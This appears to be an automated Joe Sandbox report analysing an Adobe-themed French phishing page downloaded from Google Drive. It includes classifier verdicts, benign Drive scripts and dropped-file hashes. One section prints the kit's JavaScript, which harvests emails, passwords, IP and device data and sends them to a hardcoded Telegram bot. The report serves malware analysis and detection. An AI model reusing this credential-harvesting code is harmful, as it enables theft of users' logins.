142.250.181.99	unknown	United States	15169	GOOGLEUS	false
142.250.181.10	unknown	United States	15169	GOOGLEUS	false
172.67.74.152	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566527
Start date and time:	2024-12-02 11:37:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.troj.win@31/58@54/264

Warnings

Exclude process from analysis (whitelisted): TextInputHost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 64.233.165.84, 172.217.19.238
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
VT rate limit hit for: https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY

LLM Input / Output

Input	Output
URL: https://drive.google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://drive.google.com
URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Tlcharger", "prominent_button_name": "Tlcharger", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Tlcharger", "prominent_button_name": "Tlcharger", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script showing clear malicious intent: 1) Contains hardcoded Telegram bot tokens for data exfiltration, 2) Collects sensitive user data (email, password, IP, device info), 3) Sends collected credentials to external Telegram channels, 4) Implements a phishing-like form submission logic. This is a classic credential harvesting script." }
const botToken1 = '7758695294:AAGKJw1sSrE0YEf8T4XuflZIyIuz1L92Zlk'; // Premier token de bot const chatId1 = '5848269608'; // Premier ID de chat const botToken2 = 'VOTRE_DEUXIME_TOKEN'; // Remplacez par votre deuxime token const chatId2 = 'VOTRE_DEUXIME_ID_DE_CHAT'; // Remplacez par votre deuxime ID de chat function sendToTelegram(data) { const message = ` FR Rsultat - ${data.email}:${data.password}\nIP: ${data.ip}\nAppareil: ${data.device}`; const telegramUrl1 = `https://api.telegram.org/bot${botToken1}/sendMessage?chat_id=${chatId1}&text=${encodeURIComponent(message)}`; const telegramUrl2 = `https://api.telegram.org/bot${botToken2}/sendMessage?chat_id=${chatId2}&text=${encodeURIComponent(message)}`; // Envoi au premier chat fetch(telegramUrl1, { method: "GET" }) .then(response => { if (response.ok) { console.log("Message envoy Telegram (chat 1) avec succs."); } else { console.error("Erreur lors de l'envoi du message Telegram (chat 1)."); } }) .catch(error => { console.error("Erreur:", error); }); // Envoi au deuxime chat fetch(telegramUrl2, { method: "GET" }) .then(response => { if (response.ok) { console.log("Message envoy Telegram (chat 2) avec succs."); } else { console.error("Erreur lors de l'envoi du message Telegram (chat 2)."); } }) .catch(error => { console.error("Erreur:", error); }); } function getIpAndDevice(callback) { fetch('https://api.ipify.org?format=json') .then(response => response.json()) .then(data => { const ip = data.ip; const device = navigator.userAgent; callback({ ip, device }); }) .catch(error => { console.error("Erreur lors de la rcupration de l'IP:", error); callback({ ip: "Non disponible", device: navigator.userAgent }); }); } function downloadFile(url) { const downloadLink = document.createElement('a'); downloadLink.href = url; downloadLink.download = ''; // Optionnel: si vous souhaitez que l'utilisateur voie une bote de dialogue de tlchargement avec un nom de fichier spcifique document.body.appendChild(downloadLink); downloadLink.click(); document.body.removeChild(downloadLink); // Nettoyage aprs le clic } document.addEventListener("DOMContentLoaded", function() { let submitCounter = 0; const emailField = document.getElementById("zone-email"); const passwordField = document.getElementById("zone-password"); const emailError = document.getElementById("erreur-email"); const passwordError = document.getElementById("erreur-mdp"); const continueButton = document.getElementById("continuer-button"); continueButton.addEventListener("click", function() { if (submitCounter === 0) { if (emailField.value === "") { emailError.innerText = "Veuillez entrer une adresse email."; emailError.classList.remove("hidden"); passwordError.classList.add("hidden"); emailField.focus(); } else { const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (emailRegex.test(emailField.value)) { emailError.classList.add("hidden"); document.getElementById("affiche-mdp").classList.remove("hidden"); submitCounter++; passwordField.focus(); } else { emailError.innerText = "L'adresse email doit tre valide."; emailError.classList.remove("hidden"); passwordError.classList.add("hidden"); emailField.focus(); } } } else if (submitCounter === 1) { if (passwor
URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Veuillez vous connecter avec votre adresse e-mail pour accder au document.", "prominent_button_name": "Continuer", "text_input_field_labels": [ "Adresse Email" ], "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Veuillez vous connecter avec votre adresse e-mail pour accder au document.", "prominent_button_name": "Continuer", "text_input_field_labels": [ "Adresse Email" ], "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Fichier scuris par ADOBE PDF", "prominent_button_name": "Continuer", "text_input_field_labels": [ "stanislas@socotec.com" ], "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Fichier scuris par ADOBE PDF", "prominent_button_name": "Continuer", "text_input_field_labels": [ "stanislas@socotec.com" ], "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: file:///C:/Users/user/Downloads/Abobe-pdf.html Model: Joe Sandbox AI	{ "brands": [ "Adobe" ] }
	{ "brands": [ "Adobe" ] }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is a low-risk script that appears to be part of Google Drive's viewer timing/performance measurement system. It simply stores a performance timestamp in a predefined object. While it uses bracket notation to access properties, there's no data exfiltration, DOM manipulation, or suspicious behavior." }
window['_DRIVE_VIEWER_ctiming']['cle']=performance.now();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is a benign performance timing measurement script, likely from Google Drive's viewer. It simply stores a timestamp using the standard performance.now() API. No data exfiltration, external communication, or suspicious behavior is present." }
window['_DRIVE_VIEWER_ctiming']['tfs']=performance.now();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is a benign script that simply stores the document's visibility state in a window property. This is a common practice for tracking page visibility and doesn't involve any data transmission, code execution, or suspicious behavior. The naming convention suggests it might be related to Google Drive viewer functionality." }
window['_DRIVE_VIEWER_IVIS'] = document.visibilityState;
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is a low-risk performance measurement script, likely part of Google Drive's viewer functionality. It simply captures a performance timing metric (CLS - Cumulative Layout Shift) using the standard performance.now() API. No data exfiltration, external communication, or suspicious behavior present." }
window['_DRIVE_VIEWER_ctiming']['cls']=performance.now();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "Script appears to be legitimate Google Drive viewer timing measurement. While it uses bracket notation to access properties (which can sometimes be a red flag), it's interacting with the standard performance API and storing timing data in what appears to be a Google Drive viewer object. No data exfiltration or malicious behavior observed." }
window['_DRIVE_VIEWER_ctiming']['difs']=performance.now();
URL: https://drive.google.com/file/d/1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G/view Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This is a benign performance timing measurement script, likely part of Google Drive's viewer analytics. It stores a timestamp using the standard performance.now() API. No data exfiltration, external communication, or suspicious behavior is present." }
window['_DRIVE_VIEWER_ctiming']['ogb_hs']=performance.now();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This appears to be a legitimate configuration object containing feature flags and settings for Google Docs. It contains expected parameters like docs-flags, customer types, and various boolean switches. No high-risk behaviors like eval(), suspicious redirects, or data exfiltration are present. The data structure and naming conventions are consistent with Google's standard practices." }
_docs_flag_initialData={"docs-ails":"docs_cold","docs-fwds":"docs_nf","docs-crs":"docs_crs_nl","docs-cp-tp":1,"docs-cr-tp":1,"docs-fe-re":2,"docs-fl":2,"docs-l1lc":4,"docs-l1lm":"FJR","docs-l2lc":4,"docs-l2lm":"BRU","docs-l2t":0,"docs-lsd":3,"docs-orl":1,"docs-shdn":0,"docs-tfh":"","docs-eett":true,"info_params":{},"docs-ecdh":true,"docs-elaswm":false,"docs-eadwm":false,"docs-eapdwm":true,"docs-ecddwm":true,"docs-edswm":false,"docs-edatadm":true,"docs-eedswm":false,"docs-elnswm":false,"docs-eeoswm":false,"docs-emaswm":false,"docs-enpdwm":true,"docs-ensdwm":false,"docs-eodpswm":false,"docs-epcswm":false,"docs-wiz-epdwm":true,"docs-epsc":false,"docs-epdwm":true,"docs-erhswm":false,"esdodwmssd":true,"docs-esidm":true,"docs-esdwm":true,"docs-espdwm":true,"docs-etsswm":false,"docs-eoiidwm":true,"docs-erffsncdwm":true,"docs-mm":10,"docos-dphl":10000,"docos-dpsl":9900,"docs-cpr":true,"docos-edutfr":false,"docs-eveia":false,"uls":"","customer_type":"ND","docs-obsImUrl":"https://ssl.gstatic.com/docs/common/netcheck.gif","docs-ecuach":false,"docs-ecci":false,"docs-esi":false,"docs-cei":{"i":[102021449,5712647,94444380,71721015,94406144,71197914,50273576,71530191,71652968,94618570,99327859,101406802,101543305,71402445,71038182,94333061,50596302,71961254,94597607,71387260,94707472,95271053,94621662,5711538,95125018,94420765,95234919,94353316,71530953,101775294,49472091,49372463,50561401,5737800,101631088,49823132,95065877,50297104,71897995,71429635,49924734,95112801,70971144,5712639,101552044,94929278,71478148,95288996,71502929,50297374,71679568,95194617,101617364,71544762,101860872,94327699,50360884,71478577,49769385,50587050,94545112,94413675,101614110,95087074,99437429,49842923,95251150,99237569,49943087,94435566,94381874,50266070,71407161,48966262,94813451,94507615,5707899,71239074,101426124,94502762,5704745,101456380,101941077,101606856,101858255,71659921,71528565,5714051,71882134,101519308,95136081,49833490,94393648,71079826,101809790,94489966,102047730,101705085,71681808,49822889,94784659,71642071,95086209,71722094,71960368,95254968,101875192,50498815,101754290,5712270,101507094,95250137,99402399,71035425,94526616,5704621,95314650,71733221,5703839,99338488,101442753,71561629,50529271,50513182,101508461,49622751,5705891,95087345,71658008,94874877,71387957,94658119,94484622,94661850,71849703,99818768,94904117,71546253,94574967,71185138,50562726,71699749,50439148,49979626,94942458,94724986,95104247,101440077,49375342,101448286,95112053,94541236,101708551,71560097,94434465,49643716,5713195,99402009,71545621,71791547,101771798,94390041,5792878,71690008,99311027,94573608,101776434,71288994,101489215,49623141,101829166,50221868,71574038,101575568,101672658,101488771,94517171,94618665,99368700,95045314,5799034,49643963,99247624,95193599,102021441,94444372,71721007,94406128,71197906,50273568,71530183,71652960,94618554,99327843,101406794,101543289,71402429,71038174,94333053,50596294,71961246,94597599,71387252,94707464,95271045,94621646,95125010,94420757,95234911,94353308,71530937,101775289,49472083,49372455,50561393,5737784,101631080,49823124,95065869,50297096,71897987,71429627,49924726,95112793,70971136,101552028,94929270,71478140,95288980,71502921,50297366,71679560,95194601,101617356,71544754,101860867,94327691,50360876,71478569,49769377,50587042,94545104,94413667,101614102,95087066,99437421,49842915,95251142,99237561,49943079,94435558,94381858,50266062,71407145,48966254,94813443,94507599,71239066,101426108,94502754,101456372,101941069,101606848,101858250,71659913,71528557,71882126,101519300,95136073,49833482,94393632,71079818,101809774,94489958,102047722,95317965,71681800,49822881,94784651,71642063,95086201,71722078,71960360,95254960,101875184,50498807,101754282,101507086,95250121,99402391,71035417,94526608,95314642,71733213,99338480,101442745,71561621,50529263,50513174,101508445,49622743,95087337,71658000,94874869,71387949,94658103,94484614,94661842,71849695,99818752,94904109,71546245,94574951,71185130,50562718,71699741,50439140,49979618,949
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "Script appears to be legitimate performance timing measurement for Google Drive viewer, using standard Performance API. While it uses bracket notation and a global variable which isn't best practice, it shows no malicious indicators and interacts with known Google Drive functionality." }
window['_DRIVE_VIEWER_ctiming']['difl']=performance.now();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "This appears to be a legitimate Google Drive viewer configuration object. It contains standard configuration parameters, Google API keys, and typical viewer settings. All domains referenced are Google-owned (drive.google.com), and there's no evidence of suspicious behavior, data exfiltration, or malicious code execution." }
window.viewerData = {config: {'id': '1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G', 'title': 'Cahier des Charges.pdf', 'isItemTrashed': false , 'documentResourceKey': '','enableEmbedDialog': true,'projectorFeedbackId': '99950', 'projectorFeedbackBucket': 'viewer-web',}, configJson: ["",null,null,null,null,1,null,null,null,1,1,[1,null,null,"AIzaSyDVQw45DwoYh632gvsP5vPDqEKvb-Ywnb8",0,null,null,null,null,"AIzaSyC1eQ1xj69IdTMeii5r7brs3R90eck-m7k",null,"/drive/v2beta",0,0,1,null,null,1,null,0,1,1],null,5,1,"https://drive.google.com",null,1,"https://drive.google.com",null,null,0,null,1,null,null,null,null,null,1,null,null,[["20241114.01_p0",null,1],6,1,1,null,null,null,1,["ADFN-cvxxP6SqDuh8YdckYH3REYQW2YevFEussnXDrpcU1h0wb5n_fW16s2l-AANNt3drqPbggmG",1,"CNSL_bnyiIoDFU_HcwQdSYEhLA",1733135926511060,[5703839,5704621,5704745,5705891,5707899,5711538,5712270,5712639,5712647,5713195,5714051,5737784,5737800,5792862,5792878,5799018,5799034,48966254,48966262,49372455,49372463,49375334,49375342,49472083,49472091,49622743,49622751,49623133,49623141,49643708,49643716,49643955,49643963,49769377,49769385,49822881,49822889,49823124,49823132,49833482,49833490,49842915,49842923,49924726,49924734,49943079,49943087,49979618,49979626,50221860,50221868,50266062,50266070,50273568,50273576,50297096,50297104,50297366,50297374,50360876,50360884,50439140,50439148,50498807,50498815,50513174,50513182,50529263,50529271,50561393,50561401,50562718,50562726,50587042,50587050,50596294,50596302,70971136,70971144,71035417,71035425,71038174,71038182,71079818,71079826,71185130,71185138,71197906,71197914,71239066,71239074,71288986,71288994,71387252,71387260,71387949,71387957,71402429,71402445,71407145,71407161,71429627,71429635,71478140,71478148,71478569,71478577,71502921,71502929,71528557,71528565,71530183,71530191,71530937,71530953,71544754,71544762,71545613,71545621,71546245,71546253,71560089,71560097,71561621,71561629,71574030,71574038,71642063,71642071,71652960,71652968,71658000,71658008,71659913,71659921,71679560,71679568,71681800,71681808,71690000,71690008,71699741,71699749,71721007,71721015,71722078,71722094,71733213,71733221,71791531,71791547,71849695,71849703,71882126,71882134,71897987,71897995,71960360,71960368,71961246,71961254,94327691,94327699,94333053,94333061,94353308,94353316,94381858,94381874,94390033,94390041,94393632,94393648,94406128,94406144,94413667,94413675,94420757,94420765,94434457,94434465,94435558,94435566,94444372,94444380,94484614,94484622,94489958,94489966,94502754,94502762,94507599,94507615,94517155,94517171,94526608,94526616,94541220,94541236,94545104,94545112,94573592,94573608,94574951,94574967,94597599,94597607,94618554,94618570,94618649,94618665,94621646,94621662,94658103,94658119,94661842,94661850,94707464,94707472,94724970,94724986,94784651,94784659,94813443,94813451,94874869,94874877,94904109,94904117,94929270,94929278,94942450,94942458,95045298,95045314,95065869,95065877,95086201,95086209,95087066,95087074,95087337,95087345,95104239,95104247,95112045,95112053,95112793,95112801,95125010,95125018,95136073,95136081,95193591,95193599,95194601,95194617,95234911,95234919,95250121,95250137,95251142,95251150,95254960,95254968,95271045,95271053,95288980,95288996,95314642,95314650,95317965,99237561,99237569,99247616,99247624,99311019,99311027,99327843,99327859,99338480,99338488,99368692,99368700,99402001,99402009,99402391,99402399,99437421,99437429,99818752,99818768,101406794,101406802,101426108,101426124,101440072,101440077,101442745,101442753,101448281,101448286,101456372,101456380,101488763,101488771,101489207,101489215,101507086,101507094,101508445,101508461,101519300,101519308,101543289,101543305,101552028,101552044,101575563,101575568,101606848,101606856,101614102,101614110,101617356,101617364,101631080,101631088,101672653,101672658,101705085,101708543,101708551,101754282,101754290,101771790,101771798,101775289,101775294,101776426,101776434,101809774,101809790,101829158,101829166,101858250,101858255,101860867,101860872,101875184,101875192,101941069,
URL: https://drive.google.com/file/d/1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G/view Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://drive.google.com/file/d/1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G/view Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Je vous remercie par avance pour l'attention que vous porterez cette demande de devis. Je reste disponible pour tout complment d'information et suis dispos organiser une visite du chantier si ncessaire.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://drive.google.com/file/d/1ylWDnyHrzgzZgujO10Cbpgn_lyhC-Z0G/view Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The content of the page appears to be a document with information about a commanditaire (a type of business entity), but there are no brand names or logos present.

URL: file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: file:///C:/Users/user/Downloads/Cahier%20des%20Charges.pdf Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 09:37:50 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.994747216384585
Encrypted:	false
SSDEEP:
MD5:	A49B00F3E561E07F95B3A188478618C9
SHA1:	D360568FFBD414DB001DD828F78918F25D86445B
SHA-256:	ECD6FCCD5F0615075365B6224D6C159AF2BE45B416D870D3562B32DBE0E1129F
SHA-512:	C2CE637501636F7F0C0A402E30496445EEDDDC04808A0907C016555B3843613F77871A0321A33DBD33DBF5E8A6090A35A17E30984581C7C01B81E30AF5C64B62
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......<.D......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.T....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.T....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.T....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.T...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.T...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R.HU.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 09:37:50 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.009125989451193
Encrypted:	false
SSDEEP:
MD5:	F4E9DE66BF62F954646363776FD28567
SHA1:	F248996A0860693998FF50878653220327F41F18
SHA-256:	EDDE55355D6E442517ADD5961F40C11EE1B38582D7C4C222C67909D8F459F02D
SHA-512:	D6D97F3C0813801CFF36E1E4B314E4406FE2FED319E3655DC1E92A3115EB29F349E3DDC417B5FFC95079B7C5BF346EDA35EFBD24B8F9E97E0AA0F86B6EB2C15B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......<.D......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.T....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.T....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.T....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.T...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.T...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R.HU.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.017037213711853
Encrypted:	false
SSDEEP:
MD5:	09008D3FDCACAA3F2AC2D062CA610291
SHA1:	B8A0EC192E587B6A4B4400EC0EC9D30961A42727
SHA-256:	695A98E89B70C2AA70BE392360DD95D6FE800B4615CD240FEBBEF4F2A44111E4
SHA-512:	CB7439076AC0F03E0091ED598B3E8C85B60FED9328899E73A30CF1D40C2966226F182CDA0C886ACB94C1A386A0C226B6CFB84119FC4A1CBDD1757207756C3ECE
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.T....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.T....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.T....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.T...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R.HU.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 09:37:50 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.006978701624401
Encrypted:	false
SSDEEP:
MD5:	B3B313BAF71E4B9A2726357A7A61D9E3
SHA1:	562DE37A286137AE506AD6EEC2645B0C08E86D99
SHA-256:	815FF6C35160ED850E7FF72DB21A1AD80EE9BAB329E87F669DD64ECFAC1F3E0A
SHA-512:	30BCBE2E15E255095E80B731EB22450BCC7B7808ABCE82103BFA72CF8E5A43186080E8FC9B94227700F702E2F21C312C28BBD3D3AA231864BAA83D4F23128226
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....#m.<.D......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.T....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.T....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.T....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.T...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.T...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........R.HU.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

